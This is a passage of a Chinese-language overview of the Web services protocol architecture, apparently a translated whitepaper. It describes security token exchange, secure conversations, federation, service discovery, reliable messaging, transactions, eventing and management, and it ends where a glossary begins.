<P>&nbsp;&nbsp;&nbsp; 安全性令牌是提供端到端安全解决方案所必需的。这些安全性令牌必须在消息处理的参与者之间实现直接或间接共享。各参与者还必须确定断言的凭证是否可信。这些信任关系以安全性令牌的交换和代理为基础，并存在于已经确定的支持信任策略中。例如，某一代理的令牌有多少可信，是由系统管理员和他们确定的信任关系决定的。提供安全性令牌的服务五花八门。这是各种底层安全技术首先为Web服务所使用的领域。为了提供一种与安全技术无关的统一标准的解决方案，新协议是为信任域之间的安全性令牌交换而设计的。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Trust以用于请求、发出和代理安全性令牌的协议对WS-Security进行了补充。需要特别指出的是，其中定义了用于获取、发行、更新和验证安全性令牌的操作。该规范的另一个新特性是建立新信任关系的机制。IPsec或TLS/SSL之类的网络和传输保护机制可以与WS-Trust结合，以适应不同的安全性需求和情况。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌可以直接从某一适当的发行者处申请获得，或者通过委托某一受信任的第三方来获取。令牌还可以出乎意料地获得。例如，令牌可以从某一安全权威机构发送到一个并未明确申请该令牌的某一方。为此，系统管理员要确定初始信任关系，如将某一给定服务指定为信任的根服务。这种方法类似于目前Web上用于自展安全性的方法。从该服务获得的所有令牌受信任的程度与受信任的根服务本身相同。例如，如果某根服务只有断言A和B得到信任，且某一消息包含断言A、B和C，则该消息中只有断言A和B得到信任。配置灵活性是通过信任关系授权提供的。为了处理在退回或发出安全性令牌之前需要各方之间的一个交换集的情况，定义了用于验证、协商和交换的方法。一种称为“challenge”的特殊形式的交换为某一方证明它拥有与某一令牌关联的密钥提供了一种方法。交换的其他类型包括传统的协议隧道。WS-Trust详细说明了如何扩展该规范，以支持更多的令牌交换协议，而不仅仅是所给出的这两个例子。</P>
<P>&nbsp;&nbsp;&nbsp; 表示安全性断言的安全性令牌是由一个受信任根或一个通过一个授权链的根发行的。这些安全性断言用于验证消息符合正在施行的安全策略。它们还验证断言者的属性是通过签名来校验的。在代理的信任模式中，即由受信任的中介分配安全性令牌的模式中，签名可能不验证断言者的身份，而验证中介的身份。该中介可能只断言者的身份。</P>
<H2>安全会话</H2>
<P>&nbsp;&nbsp;&nbsp; 用于消息身份验证和机密性的某些机制可能会耗用大量的资源。需要特别指出的是，许多加密技术都会显著消耗处理能力。当消息的安全性是逐一得到保证时，这些代价通常是无法避免的。不过，当两个Web服务进行许多消息的交换时，可以使用比WS-Security中定义的方法更为高效和健壮的消息机密性方法。这些方法是基于对称加密的，在保证消息会话的安全时应使用它们。</P>
<P>&nbsp;&nbsp;&nbsp; WS-SecureConversation在基于共享密钥（如对称加密）的两个通信方之间定义了一个安全上下文。在整个会话期内，安全上下文在各通信方之间始终是共享的。会话密钥由共享密钥派生而来，用于解密在会话中发送的单个消息。安全上下文在线表示为一个新的安全性令牌类型（即SCT ，Security Context Token）。</P>
<P>&nbsp;&nbsp;&nbsp; 规范为建立安全会话各方之间的安全上下文定义了3种不同方法。第一种，由安全性令牌服务创建，且必须由会话发起方提取并传送。第二种，通信一方创建安全上下文并通过消息传递给另一方。第三种，通过协商和交换创建安全上下文。Web服务会选择最能满足其需要的方法。必要时可以对安全上下文进行修正。更新安全上下文的一个典型例子是延长安全上下文的截止时间。安全上下文令牌隐含或包含了一个共享密钥。该密钥用于签名、加密消息。当使用共享密钥时，通信各方可以选用不同的密钥派生模式。例如，可以派生出4个密钥，这样双方便可以使用单独的密钥来签名和加密消息。为了保证密钥未曾用过和保持高度的安全性，应使用后续的派生密钥。使用这种方法来保证会话的安全性是一种更好的选择。WS-SecureConversation规范定义了一种方法来指示给定消息正在使用哪些派生密钥。所有派生算法都是通过URI来识别的。</P>
<H2>安全策略</H2>
<P>&nbsp;&nbsp;&nbsp; WS-SecurityPolicy通过用一种符合WS-Policy的语言指定安全策略断言来完善WS-Security，其6种断言涉及安全性令牌、消息完整性、消息机密性、消息对SOAP中介的可见性、对安全Header的约束和消息寿命。例如，某一策略断言可能要求所有消息都使用某一权威机构提供的公钥来签名，或该身份验证要基于Kerberos票。</P>
<H2>系统联盟</H2>
<P>&nbsp;&nbsp;&nbsp; 除了我们已经介绍的方法以外，应用程序安全性还需要更多的方法。例如，在某一信任域中有效的身份在其他信任域中很可能没有意义。要让不同信任域中的服务能够验证身份的有效性，就需要适当的机制。WS-Federation定义了一些机制，以支持身份、帐户、属性、身份验证和身份验证信息跨信任域的共享。利用这些机制，多个安全域可以通过在由多方参与的Web服务之间支持和代理身份、属性和身份验证的信任而结成联盟。该规范扩展了WS-Trust模型，使属性和笔名可以被整合到令牌发行机制中，从而形成一种多域身份映射机制。这些机制都支持单点登录、退出和笔名，并描述了专业服务对于属性和笔名的作用。</P>
<P>&nbsp;&nbsp;&nbsp; 通过身份联盟，很多要求都可以得到满足。就拿将一名员工与其雇主关联起来的例子来说，公司A的Jane从OfficeSupplyStore.com进行采购，公司A和OfficeSupplyStore.com之间有一个采购合同。因为Jane的身份是与公司A关联的，所以可以让她来依据该合同来进行采购。第二个例子是将一个人映射到多个笔名。大家可能只知道Joe使用joe@companya.com工作。他还可能有其他身份，如joe_bloggs@hotmail.com和josephb@cornell.edu。通过身份联盟，系统可以确定这些身份都是同一个Joe。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务联合安全架构中定义了两个一般的请求者（消息发送者）类：被动和智能（活动）。被动请求者是只使用HTTP且从来不发出安全性令牌的服务。智能请求者是能够发出包含诸如WS-Security和WS-Trust中所描述的那些安全性令牌的消息的服务。传统的基于HTTP的Web浏览器就是被动请求者的一个例子。定义这两种请求者的行为的概要规范现已开发出来。对于智能请求者，active请求者概要详细说明了单点登录、退出和笔名是如何通过使用SOAP消息而整合到Web服务安全模型中的。实际上，该概要描述了在智能请求者上下文中实现WS-联盟中所描述的模式的方法。它详细说明了各种安全性令牌的要求。作为这些安全性令牌要求中之一的一个例子，当不使用安全通道时，X.509证书的整个令牌必须包含权威机构的名称和签名。该概要还要求X.509令牌包含主题标识符，以唯一地识别授之以该令牌的主题。</P>
<H1>发现（Discovery）</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于定位网络上Web服务和确定该服务可用性的功能组件：UDDI和WS-Discovery。Web服务发现是在没有人工干预的情况下实现服务连接自动化的关键。Web服务发现方法反映了计算机系统中查找信息的两个最常见方法：查看一个众所周知的目录，或将一个请求广播给所有可用的监听器。UDDI注册表就相当于该目录，发现协议用于广播请求。</P>
<H2>目录（Directory）</H2>
<P>&nbsp;&nbsp;&nbsp; 通用描述发现和集成协议，即UDDI——Universal Description Discovery and Integration Protocol，指定了一个用于查询和更新Web服务信息通用目录协议。该目录包含关于服务提供商、它们所托管的服务以及这些服务所实施的协议的信息。该目录还提供了用于向任何注册信息添加元数据的方法。如果Web服务信息存储在众所周知的位置时，则可以使用UDDI目录方法。一旦找到目录，就可以发送一系列查询请求以获取想要的信息。UDDI目录位置通常是通过系统配置数据从带外（Out of Band）获得的。</P>
<P>&nbsp;&nbsp;&nbsp; 对于如何部署UDDI注册表，Web服务提供商有很多不同的选择。部署方案不外乎3个类别：公共、企业外和企业内。为了支持公共部署，以Microsoft、IBM和SAP为首的一组供应商主持推出了UDDI企业注册表[UBR，UDDI Business Registry]。UBR是一个可跨多个主持企业复制的公共UDDI注册表，它既是基于Internet的Web服务资源，又是Web服务开发者的一个试验台。尽管目前公共UDDI实施已经受到了最大关注，但UDDI的早期采用者仍更倾向于使用企业外和企业内方法。在这两种部署情况下，企业要部署一个专用注册表，而且更严密地控制注册信息类型也是可能的。这些专用注册表可能只供一个企业使用，也可能供若干组业务合作伙伴使用。UDDI还为注册表间的复制和跨部署的信任联盟定义了协议。使用这些协议进一步增加了可用于实施者的部署方案数量。对于所有的部署方案，UDDI目录都包含了Web服务及其托管地的详细信息。UDDI目录项有3个主要部分——服务提供商、所提供的Web服务和实施绑定。其中的每一部分都逐渐提供有关Web服务的更详细信息。</P>
<P>&nbsp;&nbsp;&nbsp; 大部分的一般信息都描述服务提供商。该信息不针对Web服务软件，而是针对直接负责该服务的开发者或实施者。服务提供商信息包括名称、地址、联系人及其他管理细节。所有的UDDI项都有多个元素来支持多语言描述。可用的Web服务列表存储在服务提供商项中。这些服务可能是根据它们的预定用途来组织的：它们可能被分成不同的应用领域、地区或任何其他适用的模式。存储在UDDI注册表中的服务信息只包含服务描述和一个指向它所包含的Web服务实施的指针。由其他提供商托管的服务链接称为‘服务映射（Service Projection）’，也可能被注册。</P>
<P>&nbsp;&nbsp;&nbsp; UDDI服务提供商实体的最后部分是实施绑定。该绑定将Web服务项与确切的URI关联起来，以确定在何处部署服务，它还指定了访问协议，并包含所实施的确切协议的参考资料。这些细节对于开发人员编写调用Web服务的应用程序已经足够。详细的协议定义的是通过一个称为“类型模型（即tModel，Type Model）”的UDDI 实体提供的。在许多情况下，tModel都会引用一个描述SOAP Web服务接口的WSDL文件描述，但tModel的灵活性也几乎可以描述任何种类的资源。对于在UDDI中注册的每一个提供商或服务来说，来自标准分类学（如NAICS和较古老的美国标准行业代码）或其他身份识别方案（如Edgar Central Index Key）的元数据都可用于分类信息和提高搜索准确性。可用的分类学和标识符方案集作为任何实施的一部分，是可轻松扩展的，因此可以对其进行定制以支持任何特定的地域、行业或企业需求。</P>
<H2>动态发现（Dynamic Discovery）</H2>
<P>&nbsp;&nbsp;&nbsp; 动态Web服务发现是以不同方式提供的。作为在已知注册表中存储信息的另一种方案，动态发现的Web服务会明确地声明它们的到达、离开网络。WS-Discovery为通过多路广播消息来声明和发现Web服务定义了协议。当Web服务连接到网络时，它通过发送一条Hello消息来声明它的到达。在最简单的情况下，这些声明的跨网发送使用多路广播协议——我们称之为自组织网络。该方法还最大限度地减少了网络上的轮询需要。为了限制网络信息流通量和优化发现过程，系统可能会包含一个发现代理。发现代理用一个众所周知的服务位置取代了发送多路广播消息的需要，从而将自组织网络转变成托管网络。利用配置信息，代理服务集合可以连接在一起，从而将发现服务扩展到多组服务器，从一台机器扩展到多台机器。</P>
<P>&nbsp;&nbsp;&nbsp; 因为发现代理自身也是Web服务，它们可能会用自己专用的Hello消息来声明它们的到场。接收该消息的Web服务然后可以利用该代理的服务，而无需再使用干扰较多的一对多发现协议。当服务离开网络时，WS-Discovery会指定一个Bye消息以发送给网络或发现代理。该消息通知网络上的其他服务离开的Web服务不再可用。</P>
<P>&nbsp;&nbsp;&nbsp; 为了完善这种服务声明和离开的基本方法的不足，WS-Discovery定义了两个操作——Probe和Resolve，以定位网络上的Web服务。对于自组织网络，Probe消息被发送给多路广播组，并且与该请求匹配的目标服务会将响应直接反馈给请求者。对于利用发现代理的托管网络，Probe消息则以单路广播方式发送给发现代理。如果按名称定位Web服务，则使用Resolve消息。Resolve消息只以多路广播模式发送。Resolve 类似于地址解析协议，即ARP，它将IP地址转换成其对应的物理网络地址。WS-Discovery规范还支持这样的系统配置：将Probe消息发送给一个已经通过其他管理方法建立起来的发现代理，如通过使用众所周知的DHCP记录。</P>
<P>&nbsp;&nbsp;&nbsp; 动态发现服务的能力实现了Web服务管理的自举。与WS-Eventing及其他协议相结合，更复杂的管理服务也可以通过使用这种动态发现基础架构来构建。动态发现还将Web服务架构扩展到设备，如那些目前可能实施通用即插即用（UPnP）协议的系统——这是使该架构真正实现通用的重要一步。例如，借助WS-Discovery和WS-Eventing，打印机或存储介质等设备可以作为Web服务纳入到系统中，而且无需专门的工具或协议。</P>
<P class=indent><B>Web服务设备概要规范<BR></B>&nbsp;&nbsp;&nbsp; Web服务设备概要规范对在资源受限的设备上应该实施Web服务架构规范家族的哪个子集提供了指导。该概要力图在由于资源限制而作出折衷时，在可用的丰富功能和最重要的功能之间找到平衡。</P>
<H1>一致性协议——可靠的消息传递和事务</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍可以提供可靠的消息传送、事务行为和能够在一组Web服务之间进行显式协调的Web服务架构组件。定义这些功能的规范是WS-ReliableMessaging、WS-Coordination、WS-AtomicTransaction和WS-BusinessActivity。</P>
<P>&nbsp;&nbsp;&nbsp; 当多个Web服务必须完成工作的某一共同单元或依照某种共同的行为进行操作时，对于使用哪个协议必须达成共识。Web服务之间这种最低限度的协调是不可避免的。协调协议还必须能够确定并同意已达成一个共同目标。Web服务之间的每一个交互都可以看作一种协调。一致性协议为该架构提供了一个改进的机会，即参与者服务在它们准备共同完成的任务方面将获得成功。在传输丢失了消息和服务失常时，Web服务架构仍然能够正常工作。</P>
<P>&nbsp;&nbsp;&nbsp; 任何多方协调都可以通过接连地随需加入更多参与者从两方协调逐步发展而成。两方协调可能是自发的，也可能需要一个指定的协调者。广泛使用的自发协调协议的一个例子是同步请求—响应消息传递模式。这是一致性协调的最简单形式之一；对于每个工作请求，接收方Web服务必须完成所有预期工作之后才能向请求者返回数据。双方都遵循这种严格的模式，无需显式协调服务。</P>
<H2>可靠的消息传递</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情形都可能中断两个服务之间的消息交换。当使用不可靠的传输协议（如HTTP 1.0和SMTP）来进行传输或当消息交换跨多个传输层连接时，这更会成为一个问题。消息可能会丢失、被复制或重新排序，Web服务可能会失败并失去易变状态。WS-ReliableMessaging是一个基于特定的传送保证特征实现可靠消息传送的协议。该规范定义了3个可结合使用的不同断言：</P>
<UL>
<LI>At-Least-Once Delivery（至少一次传送）：每条消息至少传送一次。 
<LI>At-Most-Once Delivery（至多一次传送）：不传送重复的消息。 
<LI>In-Order Delivery（依次传送）：按消息的发送顺序传送消息。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 至少一次和至多一次保证相结合的结果是恰好进行一次传送。由于Web服务架构的设计与传输无关，因此所有传送都与所用的通信传输工具或其组合无关。由于开发人员必须预测的潜在传送失败模式数量减少，故使用WS-ReliableMessaging可以简化系统开发。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传送不需要显式协调者。当使用WS-ReliableMessaging时，参与者必须根据SOAP消息Header中所发送的信息识别协议。作为一个组传输的消息集合称为消息序列（Message Sequence）。消息序列可以由发起者/发送者或Web服务创建，当建立一种双向关联时通常由它们共同创建。序列是使用CreateSequence和CreateSequenceResponse消息显式创建的。当想要的最终结果是用两个单向序列来充当一个双向序列时，发起者将提供Web服务所要使用的序列。该序列的ID由发起者包含在CreateSequence消息中。</P>
<P>&nbsp;&nbsp;&nbsp; WS-ReliableMessaging中定义了几个策略断言。这些策略断言用WS-Policy中定义的方法来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传递协议简化了开发人员为在传输不断变化的情况下传输消息而必须编写的代码。也就是说，底层基础架构可以对消息在端点之间的正常传输进行验证，必要时还会转发消息并检测重复。应用程序不需要任何附加逻辑来处理提供传送可能需要的消息转发、重复消息的消除、消息重新排序或消息确认。WS-ReliableMessaging的实施是跨发起者和服务分布的。那些非‘在线’可见的特征，如消息传送顺序，是通过实施WS-ReliableMessaging规范来提供的。虽然由传输损失导致的消息重发等特征是通过不为应用程序所知的消息传递层来处理的，其他端到端特征（如依次传送）都要求消息传递基础架构和接收应用程序相互协作。当发送者希望按发送顺序提供消息排序时，在接收者一方却按接收顺序提供消息排序的情况是依次传送的一种不正确实施——注意到这一点是很有趣的。当发送者希望按接收顺序提供消息顺序时，在接收者一方按发送顺序提供消息顺序的情况，是依次传送的一种正确实施。</P>
<H2>指定的协调者</H2>
<P>&nbsp;&nbsp;&nbsp; N路协调协议的某些族需要一个指定的协调者来引导一个工作单元通过一系列合作服务，一个例子是活动必须在不希望被同时连接的服务之间协调。只要每个参与者和协调者在某一时刻通信，协调就可能发生，结果就可能达成一致。Web服务架构为指定的协调者定义了某些简单操作。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Coordination规范定义了一个可扩展的协调框架来支持需要显式协调者的情况。该协议引入了一个称为协调上下文（Coordination Context）的SOAP头块，用以唯一地识别联合工作中将要着手进行的部分。为了启动工作的接合部分，Web服务会向一个或多个目标服务发送协调上下文。收到协调上下文后，接收方服务会得到提示，说有联合协作请求提出。协调上下文中包含了足够的信息，请求接收者可以利用这些信息来确定是否参与该工作。协调上下文中包含的确切信息根据被请求工作的种类的不同而变化。</P>
<P>&nbsp;&nbsp;&nbsp; 协调类型集是可扩充的。只要参与该联合工作的每个服务对所需行为都有个一般的了解，新类型就可以通过实施来定义。例如，原子事务是Web服务架构中已经定义了的几个初始基础协调类型之一。如果被请求的协调类型被理解并被接受，Web服务就会使用WS-Coordination注册协议来通知协调者并参与该联合工作。协调上下文中包含了协调者的一个端点引用和可能行为的可选标识符。注册操作指定该多方参与的Web服务所支持的行为。一旦注册消息发送到协调者，Web服务就会依照它们所预订的协议参与该工作。注册是协调框架中的关键操作，它允许意欲协同配合以完成工作的共同单元的不同Web服务相互连接在一起。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction为Web服务指定了传统的ACID事务，并为原子事务协调类型定义了3个协议：完成协议（Completion Protocol）和两阶段提交协议（Two-Phase Commit Protocol）的两个变体。完成协议用于启动提交处理。为完成而注册的Web服务能够通知指定的协调者何时开始提交处理。该协议还详细说明了用于通知启动者事务最终结果的消息。不过，该协议不要求协调者确保启动者对结果进行处理。相反，WS-AtomicTransaction中的其他行为则要求协调者确保参与者对协调消息进行处理。</P>
<P>&nbsp;&nbsp;&nbsp; 两阶段提交（2PC）协议为所有已注册的参与者提供了一个公共的提交或中止决定，确保了所有参与者都能得到最终结果通知。顾名思义，它使用两轮通知来完成该事务。该协议的两个变体是：易失2PC（Volatile 2PC）和持久2PC（Durable 2PC）。这两个协议在线上使用相同的消息（对应于Prepare、Commit和Abort操作），但易失2PC没有持久性要求。易失2PC协议供管理易失资源的参与者使用，如缓存管理器或窗口管理器。这些参与者在第一轮通知中不与协调者发生联系，且不需要第二轮的通知。持久2PC协议供管理数据库和文件等持久资源的参与者使用。当某一提交处理已经启动时，在所有易失2PC参与者被联系过之后这些参与者会第一次被联系。这使缓存能够被刷新。持久2PC参与者需要完整的两轮通知来实现协调者所要求的全有或全无行为以及完成该事务。这些行为最适合于可以在整个事务期内持有资源，且该事务通常为非常短暂的事务的情况。该协议保证在正常处理的情况下，协调者提供第一阶段结果的同时将联系所有参与者。对于完成时间预计将比较长的事务，或当资源（如锁）无法持有时，其他协调协议就会定义替换行为。</P>
<P>&nbsp;&nbsp;&nbsp; WS-AtomicTransaction中定义了若干策略断言，这些策略断言使用WS-Policy中定义的方法来表示。</P>
<H2>排队系统（Queued System）</H2>
<P>&nbsp;&nbsp;&nbsp; 构建分布式系统时被证明非常有用的一种模式是使用事务持久队列来提供存储转发异步消息传送。在这种模式下，原子事务被用于每一个传输端点。在发送端，发送应用程序以原子事务方式将消息发送给一个持久队列，此时应用程序和队列管理器都使用WS-AtomicTransaction来进行协调。只有在处理消息时不发生错误，消息才被认为成功发送至该队列。接下来，发送队列和接收队列之间消息的传送由队列子系统来接管。该传输步骤可以在消息置入发送队列之后的某一时刻完成。此外，发送队列的位置无需与发出消息的应用程序的位置一致。与此类似，从接收队列检索消息的应用程序也使用原子事务来执行类似操作。也就是说，只有不出现处理错误时消息才能从队列中移除。</P>
<H2>持续时间长的活动（Long Duration Activities）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-BusinessActivity为运行时间长的事务指定了两个协议。WS-BusinessActivity规范在事务提交之前并不锁定资源，而是基于补偿操作。底层事务模型是所谓的开放嵌套事务。这些协议系统化地说明了松耦合服务如何对已经完成某一联合任务达成一致意见。在其中的一个协议中，协调者显式地通知参与者没有更多的工作正在以联合任务的名义被请求。在另一个协议中，该参与者就是通知协调者以联合任务名义出现的工作已经完成的参与者。使用补偿操作可以在不锁定这些操作的情况下完成试验性操作。不管出于何故，只要系统想要撤消已完成的试验性操作结果，就要启动补偿操作。WS-AtomicTransaction和WS-BusinessActivity都利用WS-Coordination来管理Web服务之间的协作。</P>
<P class=indent><B>三方握手<BR></B>&nbsp;&nbsp;&nbsp; 三方握手连接的建立和解除协议是不需要指定协调者服务的协调协议的一个例子。为了建立连接，发送者要向接收者发送一个请求。该请求建立一个会话。如果该请求被接受，接收者就会发出一条确认消息，对该请求作出积极响应。发送者然后再发送一条消息，作为对该确认消息的确认，从而证明双方都知道对方已经建立了一个会话。</P>
<P>&nbsp;&nbsp;&nbsp; 解除协议类似。一方向另一方发送一个会话解除请求。接收者以对解除消息的确认消息作为响应。接收到该确认消息之后，发出解除消息的一方通过再对该确认消息发送一条确认消息结束消息交换。</P>
<H1>枚举、传输和事件</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍提供Web服务架构中的服务资源枚举、其状态管理和事件通知的规范。这些规范基于WS-Enumeration、WS-Transfer和WS-Eventing。</P>
<H2>枚举（Enumeration）</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情况所要求的数据交换都使用不只一对的请求/响应消息。需要这些更长时间数据交换的应用类型包括数据库查询、数据流、命名空间等信息的遍历和枚举列表。特别是枚举，它是通过建立数据源和请求者之间的会话来实现的。会话中接连不断的消息用于传送正在被检索的元素的集合。对于该服务用于组织将要生成的项的方法不作假设。在正常处理的情况下，枚举应在会话结束前生成所有底层数据。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Enumeration指定了用于建立枚举会话和检索数据序列的协议。枚举协议允许数据源向正在使用的服务提供一个叫做枚举上下文的会话抽象。该上下文通过一个数据项序列来表示逻辑光标。然后，请求者将该枚举上下文用于一个或多个SOAP消息的某一区间以请求数据。枚举数据表示为XML Infoset。该规范还允许数据源提供一种自定义机制来开始新的枚举。既然枚举会话可能需要若干个消息交换，那么会话状态必须保持稳定。</P>
<P>&nbsp;&nbsp;&nbsp; 关于迭代进度的状态信息可以由数据源或正在使用的服务在请求间维护。WS-Enumeration允许数据源一个请求一个请求地决定哪一方将负责维护下一个请求的状态。这种灵活性实现了若干种优化。例如，使服务器能够避免对调用之间的任何光标状态进行保存。由于消息潜伏时间对于支持若干个同时枚举的服务来说可能会很长，不保存状态可能会使必须维护的信息总量大大减少。资源受限设备（如移动电话）上的服务实现可能根本无法维护任何状态信息。</P>
<H2>传输（Transfer）</H2>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer详细说明了对通过Web服务进行访问的数据实体进行管理所需的基本操作。要了解WS-Transfer需要介绍两个新术语：工厂（Factory）和资源（Resource）。工厂是能够从其XML表示形式创建资源的Web服务。WS-Transfer引入了用于创建、更新、检索和删除资源的操作。应当注意，对于资源状态维护，宿主服务器最多也只能做到尽力而为。当客户端获知服务器接受了创建或更新某一资源的请求时，它可以适当地预期资源目前在的确定位置，并具有确定了的表示形式，但这并不是一个保证——即使是在没有任何第三方的情况下。服务器可能会更改某一资源的表示形式，可能会彻底删除某一资源，也可能会恢复已经删除的某一资源。这种保证的缺乏与Web提供的松耦合模型一致。如果需要，服务可以提供非Web服务架构所必需的附加保证。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Transfer的创建、更新和删除操作扩展了WS-MetadataExchange中的只读操作功能。检索操作与WS-MetadataExchange中的Get操作完全相同。Create请求发送给工厂。然后，工厂创建被请求的资源并确定其初始表示形式。工厂被假定与所创建的资源不同。新资源被分配给一个在响应消息中返回的，由服务决定的端点引用。Put操作通过提供一种替换表示形式来更新资源。资源表示形式的一次性快照与WS-MetadataExchange中的Get操作一样，也可以通过WS-Transfer中的Get操作来检索。Delete操作成功后，资源将无法再通过端点引用来使用。这4个元数据管理操作构成了Web服务中状态管理的构建基础。</P>
<H2>事件（Eventing）</H2>
<P>&nbsp;&nbsp;&nbsp; 在由需要相互通信的服务构成的系统中，可能会使用异步消息传递。在很多情况下，由一个服务生成的信息也是其他服务所需要的。由于伸缩性差，轮询往往不是获得这种信息的有效方法；通过网络发送的不必要的消息太多了。相反，该架构需要一种当事件发生时发出显式通知的机制。更重要的要求是源服务和用户服务的绑定必须在运行时动态完成。为此，Web服务架构提供了一个轻量级事件协议。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Eventing详细说明了实现下面4个实体交互的机制：订户、订阅管理器、事件源和事件接收。这使某一Web服务在作为一个订户时能够登记它对另一个Web服务（事件源）所提供的特定事件的兴趣。这种注册叫做订阅。WS-Eventing定义了某一服务可以提供的支持订阅创建和管理的操作。当事件源判定有事件发生时，它就会将此信息提供给订阅管理器。订阅管理器然后可以将该事件传送给所有匹配的订阅，这类似于传统的发布/订阅事件通知系统中的发布主题。Web服务架构提供了主题定义、组织和发现方式的全面灵活性；它为在很多不同的应用场合中可能会用到的订阅提供了一个通用的管理基础架构。也可以订阅出租的资源，但最终都必须收回。用于收回资源的主要机制是各个订阅的到期时间。查询订阅状态同样也有一种机制，帮助订户管理其若干订阅事项（包括续订、通知和取消订阅的请求）的附加操作规范中也有详细说明。当然，任何服务都可以随时自由地终止订阅，这与所有Web服务的自主原则一致。订阅终止消息可供事件源通知订户订阅终止过早。</P>
<P>&nbsp;&nbsp;&nbsp; 虽然基于事件的异步消息的一般模式很常见，但不同的应用通常都要求使用不同的事件传送机制。例如，在某些情况下简单异步消息可能是最佳选择，但如果事件接收能够通过轮询控制消息流和消息到达时间，则其他情况可能会更适用。当接收无法从源头到达目的地时，如接收有防火墙阻拦的情况下，轮询也是必要的。WS-Eventing中所引入的传送模式概念就是用来支持这些要求的。传送模式被用作一个扩展点，以便为订户、事件接收和事件源建立定制的传送机制提供一种手段。下述管理规范利用了这种机制。</P>
<P>&nbsp;&nbsp;&nbsp; 事件代理可用于聚合或重新分配来自不同来源的通知，代理还可以用作独立的订阅管理器。这两个方法都得到了WS-Eventing的支持。代理在系统中可以扮演若干个重要角色。主题可以按特定的应用类来组织使用。代理可以充当通知聚集器，用于整合来自多个来源的事件信息。它们也可以充当过滤器，这比用于其自己通知的过滤器所接收的消息要多。这种灵活性是部署健壮而可伸缩的通知系统所必需的。</P>
<H2>管理（Management）</H2>
<P>&nbsp;&nbsp;&nbsp; 管理功能是要讨论的Web服务架构的最后一个方面。这些功能在WS-Management规范中有详细的说明。WS-Management构建于该架构的若干组件之上，提供了所有系统管理解决方案都必需的一个公共操作集。其中包括发现管理资源存在及其相互导航的能力。个别管理资源（如设置和动态值）可以被检索、设置、创建和删除。容器和集合的内容，如大表和日志，可以被枚举。规范最后定义了事件订阅和特定的管理操作。在这些方面，WS-Management只详细说明了最低的实现要求。规范还使符合WS-Management的实现可以部署到小型设备。同时，它还支持向大型数据中心和分布式安装的扩展。此外，各种机制的定义都不依赖于任何暗示的数据模型或系统健康模型。这种独立性使它可以应用到各种各样的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management要求托管资源的引用使用带有特定附加信息的端点引用。该信息包含了对该资源提供访问的代理的URL、该资源所属资源类型的唯一标识符URI以及识别该资源的零个或更多个密钥。这些密钥被假设为名称/值对。该信息是这样映射到WS-Addressing端点引用的：资源的URL映射到地址属性，资源类型标识符映射到一个名为ResourceURI（在适当的XML命名空间中）的特定引用属性，各密钥分别映射到一个名为Key、属性为Name的引用参数。为了满足管理服务的消息传递需要，规范为操作定义了3个限定符。这些限定符的SOAP表示位于header元素中。operation timeout指定了一个截止时间，之后操作将不需要接受服务；locale元素在需要或期望转换底层信息时使用；freshness限定符用于请求最新的值并避免返回陈旧数据。对于使用WS-Transfer操作的数据访问，WS-Management指定了另外3个限定符。Get操作可用于SummaryPermitted header和NoCache header。如果可用，SummaryPermitted限定符允许传输简略表示形式。NoCache限定符要求传输最新数据，禁止信息缓存。对于Put和Create操作，ReturnResource限定符要求服务返回资源的新表示形式。ReturnResource使资源受限的Web服务能够在更新资源时不保留状态。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management为事件通知定义了3个自定义的传送模式：批、拉和捕获。这些模式都由URI来识别，这些URI在建立订阅时使用。批传送模式使订户能够接收捆绑在一个SOAP消息中的多个事件消息。订户可能还会要求捆绑某一最大数目的事件、服务收集事件可耗用的最长时间，以及应返回数据的最大量。拉传送模式使生成服务的数据能够维护事件的逻辑队列，以便订户能够按需轮询通知。该轮询是通过使用WS-Enumeration和返回时附带订阅响应消息的枚举上下文来完成的。最后，如果UDP多路广播是一种合适的消息传递方式，捕获传送模式便允许事件源使用它。在捕获模式下，事件源可以将其通知发送给某一预定义的UDP多路广播地址。</P>
<H1>结束语</H1>
<P>&nbsp;&nbsp;&nbsp; 本文介绍了Web服务架构的功能构造块及其底层原理。每个构造块都是依据协议规范来阐述的。我们希望本文所述的功能范围和指导原则保持不变。不过我们也希望架构能够得到扩展，以支持更多情况。能够支持创新是该架构的基本特征。</P>
<P>&nbsp;&nbsp;&nbsp; 已经进行的大量细致入微的工作可以确保各种Web服务协议能够不加变动地相互组合；尽管是一起设计的，它们仍可以以非常多的组合方式来使用。和功能构造块一样，它们的使用方式与传统开发框架类似。必要时，如对于SOAP附件，我们已经开发了新的解决方案，而且不加变动它们就可以很好地用于该架构内。关注组合不是对丰富功能的威慑。</P>
<P>&nbsp;&nbsp;&nbsp; 该架构的SOAP消息传递基础保证了 foundation assures wide reach。SOAP消息传递以一种传输独立的方式支持异步和同步模式。具有更高灵活性的基础架构不存在。为了加快Web服务架构的广泛采用，很多技术合作伙伴都参与了这些规范的制定。与这些重要技术提供程序的合作加快了设备和支持这些在线协议的编程环境的部署。实现广泛覆盖、广泛采用和与规模无关的构造是我们的3个核心目标。我们力争确保该架构能够在任何平台上用任何编程语言来实现。该架构基于消息的和基于协议的特性为此提供了便利。必要时，如只使用WS-Security来支持消息完整性、机密性和身份验证，以及只使用WS-Policy来表示元数据时，我们已经限定了用于提高互操作水平的技术方法的使用领域。理论上讲，只要实现切实遵守该架构的协议规范，它们就能与其他任何Web服务通信。</P>
<H1>附录A：术语表</H1>
<P>&nbsp;&nbsp;&nbsp; 活动请求者（Active Requestor）——活动请求者是能够发出如WS-Security和WS-Trust中所述的Web服务消息的应用程序（可能是Web浏览器）。</P>
